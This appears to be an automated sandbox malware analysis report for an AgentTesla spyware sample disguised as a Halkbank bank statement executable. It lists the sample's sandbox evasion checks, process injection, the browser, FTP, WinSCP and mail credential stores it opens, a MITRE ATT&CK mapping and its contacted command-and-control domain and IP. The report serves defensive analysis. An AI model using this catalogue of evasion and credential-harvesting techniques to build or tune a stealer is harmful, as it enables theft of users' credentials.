Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Window / User API: threadDelayed 9003			Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Window / User API: threadDelayed 846			Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe TID: 2724	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe TID: 2188	Thread sleep count: 9003 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe TID: 2188	Thread sleep count: 846 > 30	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Code function: 1_2_00404A29 FindFirstFileExW,

1_2_00404A29

Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000003.477281323.0000000006618000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Code function: 1_2_012EE0CF LdrInitializeThunk,

1_2_012EE0CF

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Code function: 0_2_00EC8A1C _memset,IsDebuggerPresent,

0_2_00EC8A1C

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

0_2_00ED1B13

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

0_2_00ED1B13

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00EC6A00 mov eax, dword ptr fs:[00000030h]	0_2_00EC6A00
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00CFF40D mov eax, dword ptr fs:[00000030h]	0_2_00CFF40D
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00CFE9B6 mov eax, dword ptr fs:[00000030h]	0_2_00CFE9B6
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00CFF2C5 mov eax, dword ptr fs:[00000030h]	0_2_00CFF2C5
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00CFF262 mov eax, dword ptr fs:[00000030h]	0_2_00CFF262
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00CFF225 mov eax, dword ptr fs:[00000030h]	0_2_00CFF225
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_004035F1 mov eax, dword ptr fs:[00000030h]	1_2_004035F1
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00EC6A00 mov eax, dword ptr fs:[00000030h]	1_2_00EC6A00

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Code function: 0_2_00EC6B80 GetProcessHeap,RtlAllocateHeap,GetProcessHeap,HeapAlloc,

0_2_00EC6B80

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ECC0A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00ECC0A3
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ECC080 SetUnhandledExceptionFilter,	0_2_00ECC080
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00401E1D SetUnhandledExceptionFilter,	1_2_00401E1D
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_0040446F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0040446F
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00401C88 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00401C88
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00401F30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00401F30
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ECC0A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00ECC0A3
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ECC080 SetUnhandledExceptionFilter,	1_2_00ECC080

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Section loaded: unknown target: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe protection: execute and read and write

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'

Jump to behavior

Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625144838.0000000001860000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625144838.0000000001860000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625144838.0000000001860000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625144838.0000000001860000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Code function: 0_2_00ECD7B7 cpuid

0_2_00ECD7B7

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Code function: 0_2_00ECFC48 GetSystemTimeAsFileTime,GetCurrentThreadId,GetTickCount64,QueryPerformanceCounter,

0_2_00ECFC48

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.625929224.0000000003020000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.628470056.0000000004091000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.253943134.0000000000F70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.624730399.0000000001209000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128, type: MEMORY
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: Yara match	File source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.625929224.0000000003020000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.628470056.0000000004091000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.253943134.0000000000F70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.624730399.0000000001209000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128, type: MEMORY
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Path Interception	Process Injection112	Disable or Modify Tools1	OS Credential Dumping2	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Deobfuscate/Decode Files or Information11	Credentials in Registry1	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter2	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	System Information Discovery125	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	NTDS	Security Software Discovery141	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol111	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	Virtualization/Sandbox Evasion13	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion13	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection112	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Halkbank_Ekstre_20210113_162325_384771.exe	36%	Virustotal		Browse
Halkbank_Ekstre_20210113_162325_384771.exe	45%	ReversingLabs	Win32.Trojan.AgentTesla
Halkbank_Ekstre_20210113_162325_384771.exe	100%	Avira	TR/ATRAPS.Gen
Halkbank_Ekstre_20210113_162325_384771.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack	100%	Avira	TR/Spy.Gen8	Download File
1.0.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
0.2.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
1.2.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.1.unpack	100%	Avira	TR/ATRAPS.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
ceotech.com.tr	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
http://FStglU.com	0%	Avira URL Cloud	safe
http://ceotech.com.tr	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
http://mail.ceotech.com.tr	0%	Avira URL Cloud	safe
http://2cRhONggGD4U87PUSY.com	0%	Avira URL Cloud	safe
http://2cRhONggGD4U87PUSY.comt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ceotech.com.tr	109.232.220.251	true	true	0%, Virustotal, Browse	unknown
mail.ceotech.com.tr	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://2cRhONggGD4U87PUSY.com	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://FStglU.com	Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ceotech.com.tr	Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628097347.00000000033E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	Halkbank_Ekstre_20210113_162325_384771.exe	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://mail.ceotech.com.tr	Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628097347.00000000033E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://2cRhONggGD4U87PUSY.comt	Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
109.232.220.251	unknown	Turkey		42807	AEROTEK-ASTR	true

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	339368
Start date:	13.01.2021
Start time:	21:45:38
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Halkbank_Ekstre_20210113_162325_384771.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@2/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 28.2% (good quality ratio 26.4%) Quality average: 78.6% Quality standard deviation: 30%
HCA Information:	Successful, ratio: 94% Number of executed functions: 60 Number of non-executed functions: 66
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
